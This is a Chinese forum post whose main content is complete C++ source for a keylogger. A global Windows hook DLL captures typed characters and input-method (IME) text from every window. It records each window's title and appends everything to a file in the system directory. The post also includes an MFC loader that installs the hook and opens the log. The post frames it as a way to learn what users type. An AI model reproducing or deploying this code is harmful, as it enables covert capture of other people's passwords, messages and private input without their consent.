TA的每日心情 | 开心 2014-6-18 08:29 |
---|
签到天数: 14 天 [LV.3]偶尔看看II
滴水大师
 
- 积分
- 2345
|
我们想知道用户输入了什么吗, 那么我们可以拦截输入法吗,当然可以 我们先实现钩子 [cpp] view plaincopy
- #include "windows.h"
- #include "imm.h"
- #include "stdio.h"
-
- //#define HOOK_API __declspec(dllexport)
-
- HHOOK g_hHook = NULL; //hook句柄
- HINSTANCE g_hHinstance = NULL; //程序句柄
- HWND LastFocusWnd = 0;//上一次句柄,必须使全局的
- HWND FocusWnd; //当前窗口句柄,必须使全局的
-
- char title[256]; //获得窗口名字
- char *ftemp; //begin/end 写到文件里面
- char temptitle[256]="<<标题:"; //<<标题:窗口名字>>
- char t[2]={0,0}; //捕获单个字母
- void writefile(char *lpstr)
- {//保存为文件
- FILE* f1;
- char cmd[256];
- GetSystemDirectory(cmd,256);
- strcat(cmd,"\\hooktxt.txt");
- f1=fopen(cmd,"a+");
- fwrite(lpstr,strlen(lpstr),1,f1);
- fclose(f1);
- }
- void writtitle()
- {//保存当前窗口
- FocusWnd = GetActiveWindow();
- if(LastFocusWnd != FocusWnd)
- {
- ftemp="\n---------End----------\n";
- writefile(ftemp);
- ftemp="\n--------begin---------\n";
- writefile(ftemp);
- GetWindowText(FocusWnd, title, 256); //当前窗口标题
- LastFocusWnd = FocusWnd;
- strcat(temptitle,title);
- strcat(temptitle,">>\n");
- writefile(temptitle);
- }
- }
- LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
- {
- PMSG pmsg = (PMSG)lParam;
- if (nCode == HC_ACTION)
- {
- switch (pmsg->message)
- {
- case WM_IME_COMPOSITION:
- {
- HIMC hIMC;
- HWND hWnd=pmsg->hwnd;
- DWORD dwSize;
- char lpstr[20];
- if(pmsg->lParam & GCS_RESULTSTR)
- {
- //先获取当前正在输入的窗口的输入法句柄
- hIMC = ImmGetContext(hWnd);
- // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
- dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
-
- // 缓冲区大小要加上字符串的NULL结束符大小,
- // 考虑到UNICODE
- dwSize += sizeof(WCHAR);
-
- memset(lpstr, 0, 20);
-
- // 再调用一次.ImmGetCompositionString获取字符串
- ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
- //现在lpstr里面即是输入的汉字了。
- writtitle(); //保存当前窗口
- writefile(lpstr); //保存为文件
- ImmReleaseContext(hWnd, hIMC);
- }
- }
- break;
- case WM_CHAR: //截获发向焦点窗口的键盘消息
- {
- char ch,str[10];
- ch=(char)(pmsg->wParam);
- if (ch>=32 && ch<=126) //可见字符
- {
- writtitle();
- t[0]=ch;
- writefile(t);
- }
- if (ch>=8 && ch<=31) //控制字符
- {
- switch(ch)
- {
- case 8:
- strcpy(str,"[退格]");
- break;
- case 9:
- strcpy(str,"[TAB]");
- break;
- case 13:
- strcpy(str,"[Enter]");
- break;
- default:strcpy(str,"n");
- }
- if (strcmp(str,"n"))
- {
- writtitle();
- writefile(str);
- }
- }
-
- }
- break;
- }
- }
- LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
-
- return(lResult);
- }
-
- //HOOK_API BOOL InstallHook()
- BOOL InstallHook()
- {
- g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
- return TRUE;
- }
-
- //HOOK_API BOOL UnHook()
- BOOL UnHook()
- {
- return UnhookWindowsHookEx(g_hHook);
- }
-
- BOOL APIENTRY DllMain( HANDLE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- g_hHinstance=HINSTANCE(hModule);
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- break;
- case DLL_PROCESS_DETACH:
- UnHook();
- break;
- }
- return TRUE;
- }
然后实现接收钩子的信息 [cpp] view plaincopy
- #include "stdafx.h"
- #include "testdll2.h"
- #include "testdll2Dlg.h"
-
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #undef THIS_FILE
- static char THIS_FILE[] = __FILE__;
- #endif
-
- typedef BOOL (*fun)(); //函数指针
- char s[256];
- /////////////////////////////////////////////////////////////////////////////
- // CTestdll2Dlg dialog
-
- CTestdll2Dlg::CTestdll2Dlg(CWnd* pParent /*=NULL*/)
- : CDialog(CTestdll2Dlg::IDD, pParent)
- {
- //{{AFX_DATA_INIT(CTestdll2Dlg)
- // NOTE: the ClassWizard will add member initialization here
- //}}AFX_DATA_INIT
- // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
- m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
- }
-
- void CTestdll2Dlg::DoDataExchange(CDataExchange* pDX)
- {
- CDialog::DoDataExchange(pDX);
- //{{AFX_DATA_MAP(CTestdll2Dlg)
- // NOTE: the ClassWizard will add DDX and DDV calls here
- //}}AFX_DATA_MAP
- }
-
- BEGIN_MESSAGE_MAP(CTestdll2Dlg, CDialog)
- //{{AFX_MSG_MAP(CTestdll2Dlg)
- ON_WM_PAINT()
- ON_WM_QUERYDRAGICON()
- ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
- ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
- //}}AFX_MSG_MAP
- END_MESSAGE_MAP()
-
- /////////////////////////////////////////////////////////////////////////////
- // CTestdll2Dlg message handlers
-
- BOOL CTestdll2Dlg::OnInitDialog()
- {
- CDialog::OnInitDialog();
-
- // Set the icon for this dialog. The framework does this automatically
- // when the application's main window is not a dialog
- SetIcon(m_hIcon, TRUE); // Set big icon
- SetIcon(m_hIcon, FALSE); // Set small icon
-
- //得到系统目录
- GetSystemDirectory(s,256);
- strcat(s,"\\hooktxt.txt");
- SetDlgItemText(IDC_STATIC1,s);
-
- // TODO: Add extra initialization here
-
- return TRUE; // return TRUE unless you set the focus to a control
- }
-
- // If you add a minimize button to your dialog, you will need the code below
- // to draw the icon. For MFC applications using the document/view model,
- // this is automatically done for you by the framework.
-
- void CTestdll2Dlg::OnPaint()
- {
- if (IsIconic())
- {
- CPaintDC dc(this); // device context for painting
-
- SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
-
- // Center icon in client rectangle
- int cxIcon = GetSystemMetrics(SM_CXICON);
- int cyIcon = GetSystemMetrics(SM_CYICON);
- CRect rect;
- GetClientRect(&rect);
- int x = (rect.Width() - cxIcon + 1) / 2;
- int y = (rect.Height() - cyIcon + 1) / 2;
-
- // Draw the icon
- dc.DrawIcon(x, y, m_hIcon);
- }
- else
- {
- CDialog::OnPaint();
- }
- }
-
- // The system calls this to obtain the cursor to display while the user drags
- // the minimized window.
- HCURSOR CTestdll2Dlg::OnQueryDragIcon()
- {
- return (HCURSOR) m_hIcon;
- }
-
- void CTestdll2Dlg::OnButton1()
- {
- HINSTANCE h=LoadLibrary("dll2.dll");
- fun add=(fun)GetProcAddress(h,"InstallHook");
- add();
- }
-
- void CTestdll2Dlg::OnButton2()
- {
- ShellExecute(NULL,NULL ,s, NULL, NULL, SW_SHOWNORMAL);
- }
![]()
|
|